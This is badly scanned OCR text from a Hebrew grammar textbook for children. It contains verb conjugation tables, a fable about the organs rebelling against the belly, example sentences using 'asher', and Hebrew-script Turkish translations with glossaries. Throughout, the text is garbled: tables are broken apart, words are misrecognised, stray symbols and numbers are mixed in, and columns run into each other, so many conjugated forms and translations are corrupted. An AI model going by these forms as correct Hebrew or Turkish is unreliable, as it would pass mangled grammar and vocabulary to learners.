צווי מות, מוּתִי, מוּתוּ, מתְנָה
בינונימת , מַתָהַ . מתים, מתות .
מקור מוּת או מת , בָּמות , כָּמות , לָמוּת .
208 קרגל. הילדים
|
יוידך
נחי עיין וו ונחי לוי
|
ּ
\
| כ יש || חאל
ה-א
כונן (שרש בון) כונן (שרש כון) הֶתְבּנן (שרש בין)
דוזרי . דוזולדי . דיקקת אילן נזאר איטדי.
| לזכר ו לנקבה | לזכר | לנקבה | לזכר | לנקבה
כונן כּנְנָה = | כונן ּנְנָה = | הָתבּנָן = | הִתְבּוְנְנָה
> |ְּתָּ | | כּננֶּ | |בּנַנְתּ | |כּננְתּ = || הַתְבּנְ | התבוננת
כּננְתִּי = | כּוננְתי - בּננְתִּי | | הַתְבּּנְְתִּי | הִתְבּוננְתִי
"| כּנְנוּ | | כונְנו ננוּ || כננו הַתְבּונְנוּ | הַתִבּונָנו
> | כּננְתָם - | כוננתן ו כּננְתָּן = | הַתְבּונְָתֶם| התְבּוננְתָן
כּנוּ = | כננו ענו = | כוננו הִתְבּוננוּ | תַתְבּונפו
יכנ | |תכנן | | כ
תכגן ִּכּנָנִי = | תכונן
אַכוגן אָכנן = | אַכונן
= תּכונָנָה = | יונו
תֶכְְנוּ = | תכוננָה = | תכונָנו
מ נכונן ְבונֶן
תכונן = | יתבּונן
תְּכוננִי = | תִּתְבּונן
אָבונן | אֶתְבּנן
תְּכוננָה * | יתִבוננו
תְּכוננָה | תִּתְבּנְנו
נְכונֶן = | נתבּונן
תֶּתְבּנֶן
ִּתַבּננִי
אֶתְבונן
תִתְבּונְנָה
תַתְבּונְנָה
בוג
טנ | | כגני
: הַתְבונן
כּוננו ונה
הַתְבּנְנוּ
הַתְבְני
הֶתְבּּנִנָה
ו
5
מִתְבונן מִתבוננָת
מִתְבּוְנָנִים מתַבּונְנות
מְכונן מִכוְננָה כבונְן מִבוְנְנָה
ככונְנִים | מכוננות | מִבונָנים | מכונָנות
ו
וו וו ד יי
נפרד כונ ב הַתְבּנן
כונן ב '=-- בונן הַתבּונֶן, בְּהתבונן
--/---7-7-7-7-77]7-
קלש אקהטטהחש חכ :+ שטק טרה << דרו |
לרגל הילרים 217
נחי עי"ן ונחי 2 עי"ן יויד
= תִפְעִיל הפְעיל על
חָקים (שרש קום) קבין (שרש בין) הוקם (שרש קום)
דורנוזרי. . אגלאטדי . דורגוזולדי. .
| | | וי
| לזכר | לנקבה | ל | לנקכה לוצר | | =: לנקבה
| \
הָקִים הִקִימַה | | הַבִין הָבִיוָה = | הוקם הוּקְמָה
/ הַקִימות הקימותָ הַבִינוּת הבי נות הוקת הוקמת
| המותי | הַקִימוּתִי | הָבִינּתִי | הָבִינוּתִי | הוּקמְתִי. | הוקמתי
הקימ | | הקימ |הַבְנּ | | הב | | הוקמוּ | | הוקטו
4 .
הַקִימותֶם הַקימותָן הבינותם ב ינוחָן הוקמקם הוּמְמִמָן
הקימונו | הקימונוּ | הבינונו הבינונו הוקנו הוקמנו
שש |ִקם |שץ |ְכִ |ם | | תקם
, | מֶקים מְּקִישִי = |תֶּבִין תָבִיני תוקם : | תוקמי
-|אסֶם |אֶֶם | |אָכִיץ | |ְאָבִץ | | אקם | | אוקם
| יקימו תימיה יָבִינו תכה יוקָמו תוּקְמִנָה
קימ | ַתִקמַנָה. | תָּבִינוּ | |[ תִּבנָה | תוקטו = | תוּקמנה
נָקים נָקִים נבִין נִבִין נוקם נוקם
בש |הֶקְמִי | | סֶבֶן הָבִינִי
- | מקימו | | הַקִמְָה || תָבָשטּ | | הִבנָה
|מקס | |מְסְמָה |מָבִץ | | מְבְעָה = | מקָם = | ממָמָה
> | מִקִימִיס | מקימות | מִבְינִים | מבינות | | מקמִים |מוקמות
ט . . %
נפוד הָקֶם | סכ
| נסמ הָכִים , בְּהָ חָקִים | הָבִי , בְּהָבִין . לְהַבין
₪ ושוא 42
(חָלק ראשון)
28.
2--/-/-/-/- 0 ו
26 קרגל הילדים
| נחי עיין ויו ונהי עיץ ייד
|
| קל | קל | נפעל
קם (שרש קום) שם (שרש שים) נכון (שרש כון)
קאלקדי . קורו . דוזולרי.
"| קפ "| ל לזכר | 5 | לםר | לקבה | לה לזכר | לנקבה | לזבר | לנקבה
: ן
קם קמה שס שָמָה = | נכון נַבונָה
+ (ָמַמְתָּ = |המְתָ = | שמת שמת || נְכוּנוּתָ = | נכונות
?+ קמְתִי קמתי שמתי שמתי נכוּנותי נְכוּנוּתַי
קמו קמו שמו שמו נכונוּ | | כונו
> | ִמִתֶּם | קמק 0 שמְתֶּם | שִמְקָן | | נְכוּנוּתֶם | נכוּנותָן
| קמנו קמנ |קמו |קס |שמט |שַסט |נכעעו |נְכעעו > שמנו נכונונו נְכוּנונו
יקום מֶּקוּם | | יָשִים מֶּשִים | יכון תכון
+ |תָקוּם | |תֶּקמִי | מֶּשִש = |מָשִמִי | תִּכון תְּּוני
- |אָקָּם |אָקֶּם ||אֶשִם |פֶשֶם |אָכן || אָכּן
= | יקוּמו | קנה ישימו תְשימִיְה| יבָּנוּ 4
. |מֶּקוּמוּ |'תָקְמְנָה | תֶּשִימוּ |יתָשָמַנָה | תָּכּונוּ = | יתִכּנָה
נַקוּם נַקוּם נָשִים נְשים נכּון נכּון
- קוּם קומי טִים שימי הכון הַבָּּנִי
4 |קמ -|קַמְמָה | שִימו 0/6 - הָבִּנוּ = | הִבִּנָה
₪ | קמס = | קָמת = | עָמִים שמת לטה = וו
7% | שס | שמָה כו |שמה | | נמ | | גְמעָה = ְבונָה
בש | | שמם | שו מת = | נכוניס נכונות
4 |
- | נפרר קוּם או קום | | שים או שוּם הכון
ד | מ בְּקם לָקּם = | בְּשִים, לְשִים | | בְּהָבּן, כהבון וכו .
ו
לרגל הולרים 25
קאנלריני דוכמאיאסיגיז.איאקלריגיזי דוסטלריגיזיג אָבינדן סיירכ אירָאסיז .
הַקְשֶר
קשר קָשרו הַעִיניס הפה הידים וְהָרְגְלִיִם קשר על הַבָּמָן לאמר :
עד מִתִי נָאָסף וְהִבָּמָן תאכל ! ער מָתִי נְעַמל וניע כָּל היוס וְהִיא תָּשָב
שלוָה ושַקְטָה וְתְשָבֶּע פרי עִמלנור + מַה--לְנוּ ולבטן הָאָרוּרָה הַזּאת כִּי
נַעִבְרְנָה+ הָבָה נשַלִיכָה מעלינו את עָלָה כִּי כְבד הוא . וְכאָשָר נועצו
ּן עשוּ . העינים מָאנו להביט לבקש לבמן בָּל מִאבָל אִשָר יָאָכָל ;
הרגלים מאנו לְלְכֶת; הידים לְקְחַת והפה לבלע. וועברו כ שלשה ימִים .
ותיעף הַבָּמָן ותתעלף כִּי חוק ליה הַרְעַב מָאר. אַך גָּם לקרִים לא הַיָה
מוב מַמָגָה. גַם בָּהֶם לא נשאר כּח ולא יבל עָמַד . א הַבִינוּ הַקשָרִים
כּי נְסְבְרָה עָצַתֶם וַישוּוּ אִיש אֶל עָבודְתו ְאֶל משמרְתו .
6
שָ-ש,ש,שָ = אֶשר
בב ב שנהמתי = חִמִּבְסֶּ אָשָר כְּתַבַפִי
המל שימלף = הִמָלֶך אָשר יְמֶלףִ
ל שָבְּיָדִי = בָּל אָשָר בִּדִי
ער שָאָכָתּב = ער אשר אָכְתּב
האיש שרְאָה את אבי = האיש אש רָאֶה את אבי
אַשָרִי אָדם ע לו ב = אשי אֶדֶם אַשָרע לו בֶּּ
כל יש לו נסן בד = = בָּל אָשַר יש לונ כו
בְּאָרֶץ לא קְהֶם = בְּאֶרֶץ אֶשר לא לְתֶם
איש לא יָדַעתִי בּאהַבְתָה = איש אשר לא ירעתי בָּאהַבְּיְתָה
שפת לא יָדעתי אֶשטֶע = שְפַת אשר לא ידעתי אֶשָמָע .
= שפת איש (אי עס) אֶשָר לא יְָעתִי
24 לרגל הילרים
בחצאייג. אגאצלרי. (דירכלרי) קורומאולר . תלמידלרים :: סיז קוותלי
וא םאגקאם סיגיז. יורולמאז סיגיז וא מלמאז סיגיז (יגע , יעס). 5
דירכלר נא איצוך צביכ קורודילר .
אגאם דאגדן צביכ אנדי . סניג קיולריג בוגון איי צאלדילֶר .
קיזלרים ! סיזלר חצאן איי צאלר סיניו+ שרה ורבקה ! אגאייג אָבינא
צביב גִירַאסיז, זירא אנדא בוגון קרילרא ביוכ זייאפת ואר. שרה! סן בו
צוג'וגי בוגון אַמיודיג' מי+ קיזים! שו. צוגיוגי צבּיכ אמיז זירא בומין גון
אָמַמָדי. | יצחק: בבאג דון דאגא ציקדי מיזיוזומלרי צבּיכ דוושירמייאסיו,
זירא אנלר דחי פישמרילר . נבוכדנצר בבל פארשאהי ירושלם אוזרינא
ג'נכ איטדי וא. אני זאבֶּם איילדי וא חלקיני בבלא גוטורדי וא אנלרי
אוררא אוטורנוזדי. רבּבּי אללהים: בגא נא ויריר סין ? בני דושמאנלרימיג
אלינא וירמא . איסטא בנדן וא סגא הר נא כּי ב איסג. וירָאיים |.
אנאם! בגא אכמכ ויר וא ייָאיִים . קיזקרדשים ! ן בנים אלימא (על)
חצאן סויי קוייאר סין 3 קרדשים ! בבאמיג אלינא סוי קויי.:קיזקרדשים!
אנאמיג אלינא סויי קויי. שמואל דודָ'א גלדי וא אניג באשי אוזרינא יאג
דוכדי וא אני ישראל אוזרינא פאדשאה אולמאק איצון סילדי נמַשַח
למְלָרִּ) . יצחק שרה אנאסיניג צאדירינא גלדי . אליהו גּוּבָּא ציקדי זירא
אללה אני גנדינא אלי .
בּבּאם שימאלא (קישליק טראפינא) אקאם ג'נובּא נקייבלא טראפינא)
גימדי . סן גון דוגו טראפינא גידר איסג בן גון באטי טראפינא גידר אים.
יעקביג קריסי רחל יולדא בית לחם גא נִבִּיחָה לָחַם) גיטריגינדא אולרי וא
יעקב אני 2 מזארי (קְבורָה) אוזרינא ביר מצבה דיכדי (דורגוזדי, הָצִיב) .
או רחליג מזאריני: מצבה סי דיר בו גונא קדר . אי אללהים : ג'אנימי
חלאס איילא וא גורא אינמיים . פאדשאהיג יאנינדא (על) דוראן נְנְצַב)
כימסאלר כּים דיר + אנלר בבל פאדשאחיניג אלצילרי דיר. בן גירדים וא
אוּשמָא אָבימיזיג | קאפוסינדא אוץ אוכסכּ וא קוותלי כישי דורוייר
נְצַב) . אקאם אָבִיני יאפדי (בנה) וא או בוגון אניג קאפולריני דורגוזייר .
סיו בוגון ג'ומלאגיז רבּבי אללהיגיזיג אוגונדא דורוייר סיגיז . בּנים
חלאייגים מסרא קאצדי . קולום אניג ארדי סירא קוודי וא אני אוראדן
אלדי וא אונומא דורגוודי (הציג) . סן בוגון אזרוגי בילמז איסג בוני
עללומיג בגניר מי? סגא רגבת אידנלרא רגבת איילא (יקר) וא סני
סבנלרי סב . קאגימיז גוזוניזא (כלזיביודא) פחאלי אולסון וא ביזי אולדורמניז.
ו ניחק צוג וקלריג ג'אנלרי = גלריניודא פחאלי אולסון וא אנלריג
לרגל הקדים 258
זמוסר והנה לריק יגעתי כי הוא איננו שומע בקולי והולף בדרך רעים .
הלא ירעת אם ל שמעת כי אלהי עולם יהוה לא ייעף ולא יינֶע ?
וייעפוּ נערים וייגעו . הונְעְחּם יהוה בדבריכם ואמרתם בַּמָה הונַענו
בָּאָמַרָכַם כל עשה רע טוב בעיני יהוה ובהם הוא חפץ או אִיָה אלהי
המשפט מלכנו הפליא לעשות חסר עם האיש אשר הציל את נפשו
מידי הרשעים אשר קשרו עליו קשר .
ְּחָצִי הַלִילָה וַאָנִי שוכב על מַשִכְּבִי וגה עִלָה בְּאָּנִי קול פְּחָרִים
אק שמע יִשְרְאֶ אַתָּה עבר היום את הַירְן לְבא לָרְשַת גי גְדולִים
ממך (ממף8 עַרִים גדולות ובצורות בִּשְמִיִם: עַם גדל בָנִי עָנָקִים אשֶר אַתָה
ירע וְאַתָּה. שמ מִי. תצב לפנ ָנִי ענְק. אחי: הַתִיְצָבוּ פח בַשְרָה
אָנִי אלְכָה חָעִירָה, הַיטִיבָה יְהוָה. לטובִים ולישרים בָּנִי! אָם תיטיבו
דרכיכם גּם יְהוָה יָמִיב לָכֶם ָּל ימי חַיַכָס . אָם יָשָמַע אָבִי אָשֶָר אַתָה
הלך עם גערים אַשַרלא לְקחוּ מוּסֶר הַיִיטַב בְּעִינִיו הוה ותִיקרנָא נפשי
0 ְהַצִילְנָה מַרְרָת אולה אַחות שמוּאָל לא תַיטִב לרקד ַּאַהוּתִי.
שרה וְרְבְקָה: הַתִיטַבְנָה לְתַפר בְיָדִים כַּאָמִי+ מה וָה מַהַרְתָן לְלְמַר אֶת
קב יחק היום + יוסף לָקַח מְאֶחָיו חַמְשָה אִנָשִים ייג לפָנִי פ פַרְעָה.
שרה ורְבְקָה + לְמָה זֶה תִּנַעֶנֶה לְרִיק בי תאמרגה בּלבְּכֶן ְַמָד את
שְפְחותִיכֶן מָכְמָה + תַנטַע (נוטע) און -. ישמָע אֶם יצר עין הָלא יָבָיט ?
אָדנִי + אָנְכִי אֶלך יְרושָליִמָה וְקַח מש אֶת עַבְדּף אש בְּרַח וְהצַנְתיו
לפנ . אֶחי: הַיְקְתּ מס על ידי אָבִי + ים שמְחות הַיּם הַוָה . צק
לע וְיאבָלוּ .
כים כּי אוכסיזלרי וא טוללרי אג'יר איסא אלגישלי דיר . סאן (או
אדמא) כּי אגא אללה דושמאנלרינדן יארדים איסא . סאן (או אדמאו
כּי יאשליגינדא חכמה וא תרכ אדבּ אוגרנדי ! בן ["אבמני אזבארדאכי
(אדם) גא וירדים . (או אדס) כּי אוזרינדא סייאח רובא דיר או בּיזים
מועללימימיז דיר וא אוזרינדא כּייאז רוא 0 בּכּאמיז דיר . אברדא
אוטורדונוג (אוטורמאג) סוקאקלרדא בוש צו קר בירי גיבי. גזדיניגדן
(נזמגדן) איידיר (איידיר כּי אוטוראסין אברא % כּי פוקאקל רדא בוש
צוג'וקלרי3 בירי גיבּי גזאפין) . ו ג'בבּאר נררא דושרי אורדא אולדי .
בנים בּיוּ קרדשלרים נרדא כּי ג'נכּ איטדילר אורדא דושרילר . אני
כקבה) סנא וירדיגים 5 יורי כּישייא וירדיג ימדן איי דיר (טוב תקי: 4 נפילאיא
אמכ צכּמאיא סיגיו . קיז קרדשים : סן חצאן אויאניר. סין + חצאן
מועללימינוג אבינא גידר = סין ז אללת, יאגמור יאגדיריר | איסא ביזים
292 לרגל | הילרים
אחי ! אֶבִינוּ קרא אֶת מִבתְבף אֶשָר = קררשים ! בבאמיו סניג ירושלם רן יאודיני
ְּתַכְ אָלְיי מִירוּשָלְיֶם, - ויישרו מכתובוני אוקוחו זא ג'וואבלריני
רבָרְף בּענְיו כִּי היטָבף לכב . כננדי זירא איי יאזרין .
הָאֶלְהִים כַּרִך אֶת יום השַבְעִי ווקדש = אלקה וירינג'י גונו אלנישלארי וא אניעויו
אתו כִּי בו שבח מִכָּל מָלָאכָהּו אוטרי. זירא אנרא באטול אולדו
אֶשָר בְּרָא אֶלהים לעשות . גומלא | אישינרן - כּי 7 אללה
וראטיפ יאפדי (ג'ומלא יראטיפ
יאפריני אישינדן רחת אולרו) .
אָרוּר ; אַשֶר וקה אֶת סְפָרִי לו או יִמִבְרְנוּ לְאִחָרִים . אָרוּר אֶשֶר לא
ישמַע ְּקוּל. אָבִיו 8 אמו . אַשָר הָבָּה אֶת עַבָדו ויפל אֶת שָנָיו הוא
רְשע מאר . בַּרוך אָשר ילד חָבְמָה ּמוּסַר ַעָעוּרִיו (בנעוריס . וְיִשַמַח
- אָבִיו וְאָמו - זקון נִיהָם. אִין טוב מַאָשָר יַשָמָח הָאָרֶם בַּמַעָשיו כִּי
: וא חֶלְק . אִשֶר נָדַרְתּ מְהַר לְשַלְמו . אֶשָר נָרַרְתִי אִשַלְמָה. שָמָעו בָנִי
אַשָר א ַבִי מַלַמר אַתְבֶם. לַעָשות . אִם תלכו בּדרכי יְהוָה הטובים ג
הוה ישְמְרְכֶם מב רַע בְכָל אֶשֶרתּלבו. הוה ישמע אֶת קול עַבְדו אָשָר
ְעַבְדְנו בְּאָמָת בְתָמִים בּאֶשָר הוא. שַם. בַּנִי אֶל תָּלְךָ עם אשֶר בְּרְבּם
מחשָבות . רְשע 0 דרכיר דרי שאול . מוב אֶשָר תִּתֶן ַסְפֶ בּשָמֶן
מַאָשר ג הו ביון. לְמָדוּ בּנְעוִּי ם לעבר אֶת יהוה כְּכָל אָשַר בְּתוּב
בחורת משָה עבָדו הקדושה ויימב ב לְכֶם ִּימִי ְקְנְתַכָה . ן ְבוּכְרַרְצַר ב
ָּבָל עלָה על רוּטְלַיִם ויל בָּה לְבָרָה וישרפה בְּאָש 1% ( כל יושבִיהָ
הוליך בּכָלה ויושיכם שם . הַגְבָעות אשר ר בְּאָרֶץ בנע גבוהות מַאד
וראשן מניע ע השמימה נוְרָאשיהָן מגִיעים הַשָמִימָה) .
העבד הכה את דודי בחרבו וישפך מעיו אֶרְצָה . שַלְחוּ נא את
האמה הזאת מעלי החוצה ונעלו הדלת אחריה . מתי תפ עו סע
ארצה הנגב לשבת שם כאשר אמרתם לי+ שרה אמרה לאברם ָרָש
ת האמה הזאת ואת בנה בי לא ייִרָש בן האמה הזאת עם בני עם
לק אש קדחה בְּאַפִּי ותִּיקד עד שאול תחת . הוקר (הוקר) רגלך
מבית רעך. פתחה האדמה את פיה ותבלע את קרח וא ערתו וירדו
הם וכל אשר להם חיים שאולה . על אשר קשרו קשר על יהוה ועל
נביאו. יחוה אלהינוו הוליך את אבותינו ארבעים : שנה במדבר ניִתן להם
ארץ מובה ורחבה אריץ אשר לא אִגְעוּ בה לָרָשַת אותה וְּלְשָבֶת בה כל
הימים אם יעבדו' אתו | באמת ובתמים . אמרתי ְלְגר בני חכמה
לרגל הילדים
בָּנִי דורי חַיוּ רָעִים מָאר ויורידוּ את
אַכִיהֶ בְּיגון שָאוּלָה .
בני + הבּט הַשמְיָמה וספר אֶת הַכּככים
אם חוכל לָסְפר אחֶם .
חי עָלָה אֶסָמל המֶרַהוִבָּט מִשם עֶפינָה
בה וְקְחְמֶח מָה .
קאָבְצן השופט הו שָלשִים בִּנִִם ,
> וּשָלשים \ פָּנוּת שלח הַחּצָה
וּשֶלשִים בָּנוּת הָבִיא לְבָניו מן
החוץ .
אָכִי שב בָּאָרֶץ כָּען
> אִרְצָה הנֶגָב .
ויפע משם וילך
בנ יַשְרְאֶל לא ינְעוּ לריק ולא ידו
לבְּחְלָה כִּי זָרַע בְּרוּבִי יְהוָה הַמָּה
ְצָאַצְאִיחֶם אִתֶּם .
רבקה ! הִילוּבִי אֶת הִילֶד חזֶה וְחַנִיקהו
לי וני מ את שְכְרך :
כִּי אֶצק מִיָם על צְמָא וְְלִים על. יִבְשָה
אֶצק רוחי על זֶרְעף וכַרְלְתִי. ע
אָאצאיר .
הנה רבר יְהוָה אֶל אַבְרֶס לאמר לא
שף זה אָשָר יַצא מטעיף הוא
ל"י
יר וְהוָה אֶלהִים \ אֶת הָטָרֶם ,עפ מן
ְאֶדָמָה ופ בְּאַפִיי נשמת חיים -
211
אקאמי1 אונוללרי פנא. אירילר וא בּבא-
לריני קסוות אילן מזארא אָנדיר-
רילר .
אוגלום ! גוכא בּאק וא יילדיולרי סאיי אגר
אנלרי סאיא ביליר איס .
רון קררשים ראנא ציקרי וא אורא רן
קישלינא קיבלאיא גון רונוייא וא
גון באטייא באקרי .
אֶבְצן השופטיג אוטוו אוגלו ואר אורי , וא
רישארייא אוטוז קיו בּוראקדי
(ציקאררי) וא רישארירן אוגוללרינא
אוטוו קיו גטיררי .
בבאם כנען טופראגינרא אוטורור אירי ,
וא אוראדן גוצרי וא נגב טופרא-
גינא ניטרי .
בּני ישראל נפילא יא צאלישמולר וא
כּיששים איצון רוגורמזלר זירא
אנלר | אללהיג = אלגישלילריניג
זורעייתי < דיר | וא אולרלרי
בראבּרלרינרא (אולור) .
רבקה ! בו צוג'וגי גוטור וא אני בנא (כני-
איצון) אמיו וא בן חקקיני וריר אים.
(נאסלי) כּי סוסאמיש (יבּאן) אוזרינא סויי
וא קורו ייר אוורינא אקאר סויילר
רוכר | אים , (אוולא) רוחימי
זורעייתיג = אוורינא וא בּרכתימי
אוולרלריג אוזרינא דוכּר אים .
אושטא רבביג סווי אברם :א (אולרי)
ריירפ : סני מו מיראפלמו, פּים
ּי ג'גילריגרן ציקאר איסא או סני
מיראסלר .
וא רכּבּי אללה ארמי ייררן (אלינמיש)
טופראק (דן) סורת איילרי וא ווונא
דירליכ נַפָסי אופוררי .
20
יעָר עתצי יר או יוצר
ויוְצַר) יראטדי, סורת
הַצִיג (יצג)רורניזדי .
התוצב (וצב). דורדו,
קאלקדי.
לרנל הילרים
נִסְבָּל (סכל) דלי אוכרו .
ג'אהיל אולדי .
ִסְבּלָה עַצָתִי י=
כגשים ג'אהיל אולד ו,
יעני ג'אהילג'א פּגש
איטדים , ג'אהילג'א
פיכּר איטדים יהַסְכִּיל,
ג'אהילליב איטדי .
דליליּ אוטדי.
מעים או מעים (יחיד
בולונמייר . רביי זוז)
ג'נילר, וויג'וד ,
בּאִבָאים (רבי 1) זורעיית ,
אוולדלר.
אז / או וק .%
עַפּה, , עִתָּה , שימדי.
הַבָה , ל . חאיידי,
הַבִין, אגלאדי י הכינו,
בָּרָא , יראטדי .
אֶשר רְאָה אֶת סְפָרִי יניד לִי איהו פיה
הוא) .
משָר יפן לי אֶת סִפְרִי אָשֶר אָכָר לו
אֶחָמַל וְבְרֶךָּ :
הְאִיש אשָר הִיָה בבַּיֶת קְרְא לְאִשָר בּחוּץ :
| מִי אתה ומה"לף פה +
הַמְלַמָד הִכָּה אֶת אחי על אשַר לא ירע
ק
הור ! לא אשמ לְבִיסף עד אָשָר מּלָמַר
ו
בּאָשֶר מִּשָב אִשְבְוְאָל אשָר ל אלך .
טוב אשָר אלמָר את חקי מאשר אשחק
בל ה , =
ש לְכָה נרְרָה מַצָרִימָה ו
טלשה חָרָשִים.
טֶב\ ו ה שַם
הִפָּלִיא (פלא) עג'אייב
איטדי.
אגלאדילר ,
התְעלף (עלף) באיילדי ;
כּים כּי כתאבימי נוררואו נרדאדיר כנא
סוולסין .
נא רון נאייב אולאן (רון ייב איטרן ים)
כיתאבימי בא וירג'כ אלנישלי
אולסון .
אָבַדא אולאן כּימסא דישארירא כי כימסא-
יא קיצקיררי: סן כּים סין , וא סנא
בוררא נא ואר (סניג בורדא נא
אישיג ואר) ?
מועללים קררשימי רוגדו אנין איצון כּי
אורונוני בּילמדי
דוד ! בן סני אָבִינא ּוראקמאם או וקתא
קדר כי אורונוני אוגרנירסיןטטרועיני
אוגרנינג'א. קדר. מן. כני אָבִינָא
בוראקמאם) .
הר נררא אוטורור איס: אוטורור אים וא
הר נריוא ואריר איסג ואריר אים .
אורונימי אוגרנדינים בוטון נון אווינאדי-
גימרן איי דיר .
קרדשים ! גל מסרא אינאלים וא אוראד
אוץ עאיי קדר אוטוראלים .
ָנָע (עתי וונע) אמכ צכרי ,.
זחמת צכדי צאלישרי.
יטב (עבר, בולונמייר. עת'
| ייטב) איי אולדן .
היטיב , איי איטרי .
אייליב איטדי.
יעף (עת' וַעף) יורולדי .
טאלדי .
ועץ (עתי ייעץ , צווי עוץ,
עוצו) כגש איטרי,
כגש וררי > = ממעץ
(עת' וְעְעָ) ּגשלנרי ,
מושוורא איטדי.
יָבָש (עת" ייבָש, כקר
נפרר יבש ו נסמף /
יָבש , יבשת) קורודי,
יקר (עתי יוקר או ייקר 1
מקור נסמך , קר
יאנדי ,
יקץ כשתי ייקץ, וייקץ .
ויוקץ) אויאנדי .
ישַר (עה" יושָר). דוגרו
אולדו., יראדי ,
בּגאנילרי , ישר
בעיני , גלזלרימא
יראדי , בגנדים .
קר (עתי. יוקר או ויוקר)
סיילי, פחאלי אולדו.
סייר אולדו . הוקיר,
פהאלי איטרי , סיירב
איטדי .
וחלק ראשון)
לרגל = הילדים
קשר (יקשר) בּאגלאדי .
קשר \ עלפ', ביר
כּימסאניג אוזרינא
אל ביר אולדו
(דושמאנליק יולי) .
אֶסַף (עת' יְאָסף , האַסְפִי
יאספוּ) דוושירדי .
עַמַל (עת' | וָעַמַל) אמב
צכדי , זהמת צכרי ,
צאלישרי ,
קרת (וקדר) יאנדי,
טוטאשדי .
נְפַח (עת' ופֶ) אופורדי ,
אַסדי (לוזגר איצון).
שבֶת (עת' ושָבּת) טינץ ,
רחת אולדו , אטיל
אולדו .
שב , קאייטרי , דונדו,
שוב , דונר .
וישב , וא דונדו ,
ו'שובו , וא דונדולר
גּרי דונדולר.
עַשָה , איטדי, יאפדי,
עָשוּ , איטרילר ..
יאפדילר , לעשות ,
אידמאִיא, יאפמאיא.
על , צִיקדִי (אוכסכנא) .
לה ציק / עלו
ציניגיז .
גן . צאלרי, כְנְגְן \ צאלגיג'י.
209
קשר, (ז? א)ז. באג
אל בירליכ .
חוץ (1 רב' חוצוה 31)
סוקאק, מחלא .
דישארי .
ריק , 1 בוש שיי, נפילא..
שאול , (1) זי ונ . גוה .
מזאר.
צפון / קישליק טראפי,
שימאל .
[ 9 .
קרֶם , נון דוגושי טראפי .
ום , דגיזטראפי , גון באטי
מראפי .
4
גב , קיבלא, ג'נוב > גָנָב,
יִבּשֶה : יָבָשַת 1', קורו
ייר,קורו (דגיזיג מרסי)
ְּהלָה (ר' בָּהלות) קאלטי=
ראמק. אגרי,
כיששים .
משמרת עדת א ני
| סאקלוב .
פוסט , תעיין אולונאן
איש.
נוזלים , אניגיילר + אקו
ו סויילר ;
שלו , שלְוָה , מינץ, רתת,
אָסִין,
שקט שקטח, טינץ, רחת,
תחת , חחִתִיה או תחפִית
אלטדאכי , טִיִפְרְבִּי .
לרגל הילדים
200
המרי | הפיא יר נְיְצָב., יצ , וצע , יצק, = 0
קל , ָצַק , דודו קודו .-- עבר יִצַק ₪ וקה : יָצְקְתָ, יצק , יצקתי וכו'. עתיד ,
יצק , חצק ; תצק , תִּצְקי , אֶצק - ו צק או יצק ' צקי
או יָצְקִי וכו', בינוני, יצק', יצקים וכו , מקור, יצק או צָקת |,
כ=צקת. לְצְקֶת .. '
נִפְעל, נְצב (יְצַב), חורדו, עבר, נָצַב, נְצָבָה; נְצַבְתּ , נצבת וכוי. עתיד ן
בינוני , נָצָב, נְצָבִים וכי,
7
הפעיל, הַצִיב (יָצַב) , דורגיזרי, עבר , הְצִיב, הצִיבָה; הַצַבְס, הְצַבְתָ ,
ן אציבר וכו', עתיד, יציב , הח תַצִיבָּ ; מציב , תציביו וכ . צי ,
הַצָב, הַצִבִי, הצִיבןּ וכוי, בינוגי. מַצִיב, מַצִיבָה או מַצָבָת ,
- ,
מציבים וכו ,. מקור, | הצב . בְהצ ₪ כ |
. נַתַן וירדי. (הכר הקצוות) .
| עבר, ל נֶתְנָה, נַתַתָּ, גְתַתּ, נָתַתִּי, תְנוּ: נָתַמִּם, נְתַתּן, נָתַט: '
עתיר, ית , תתן; תתן. תִהנִי; אָתּן, יַתַנוּ. תִתִנָּה, תח תנו קַנָה: נַתּן.
צוחי, תה תֶנִי , הְּנוּ, תִפָה +
בוני , > נתן, נַתְנָה או נַתְנָת , נַתְנִים וכ*, נָתוּן, נַתוּנָה, נתוּנים וכו" .
מקור ₪ א תֶּת, בָּתַת, כַּתַת, לקת (תתי | סמ בּתְתִי. בְּתַתֶךָ) .
על ? בר. בַתָן, נַתנָה, נתָּ, נְתַּתִּי, נְתְנוּ, נַתַּתֶּם וג
ן תיר..עָתַן , הִנָּתַן, אָנָתַן; יתנו, תִנְתַנָה .
הפל ; 2 1
הַמֶנגְנִיםו הָיטיבן ננָּן , אי צאלניגיילר : איו אידיגיז צאלמאיא -
איי צאליניז .
הפל למִיר הוָּה ממיב לבת , בו תלמיד איי אידייר נזמכ ני,-איי
י נזייר (יעני יולו איי, הרבייהלי) .
הסכלת עשן ' | ג'אהילליב: איטריג: קילמאיא , -- ג'אהילניא
"7 יאפדיג . גאהילג'א איטדיג .
אל תִמַהָר לנָגַּן , , צאלמאיא מז אולמא , צבּיכ צאלמא.
הגדּיל יהוה לעשות ענ עמנו ו אילה כיזים אילן ביופ איטרי
קילמאיא . - אללה ביזא ביוכ
איש איטדי.
לרגל הילרים 207
| [
ב | בי הפ*א "ה
| קל | הפעיל
ירש ינק , אַמָדִי י
ור ש, מיראפלרי . היניק, אִמִוָדִי.
לזכר לנקבה לכל לנקבה
ירש ָרְשָה הַינִיק הִנָיָקָה
| ישְתָּ ָרַשְתָ הינקה הינק
| יָדְשְתי יָרְשתִי הִינַקְתִי הִנַקְתִי
ירשו יָרְשוּ הינִיקוּ הִינִיקו
|יישְתֶם | |ישֶתֶן | הִִַתָם | |הְקן
יָרשנו ִרְשָנו הִינַקְנוּ הינקְנו
ירש תירש יָנִיק תָינִיק
, | תִירָש הִּירְשי תיניק הנקי
- |אָָש אִירָש אָנִיק 6
ירשו תִּירַשָנָה ייניקו 0-4 ;
תרשו תִרְשָנָה = | תִּנִיקו תִנָקְנָה ) =
נירש נִירש ניניק ניניק
/ רש רשי הַינִיק הַנִיקי
ו רשו רִשנָה הַינִיקו הַינקְנָה
0 ּ
₪ | יורש וְרְשָה >ָשָת. | מִנִיק מינִיקָהּ עקת
: | יורשים ירשת מיניקים מיניקות
5 ן, |
= ,
5 | נפרר יה הניק
| נסמ רשת, לָרָשָת הניק
1
2066 לרגל הילדים
.
ית לָהֶם פתלק התרלקי אֶת מַתְקִי וְקֶת תְנוּבְתִי הטובה וְחָלַבְתִי
הָאָטָר אָר העָעִים אִם בָּאמָה - משחים אתי ְמלן כ באו -
ְצַלי וְאָם אַין תָצא אָש מ הד ותאכל אֶת ארי הלבְנון :
(שופטים ט' תח - טיו)
6 7.
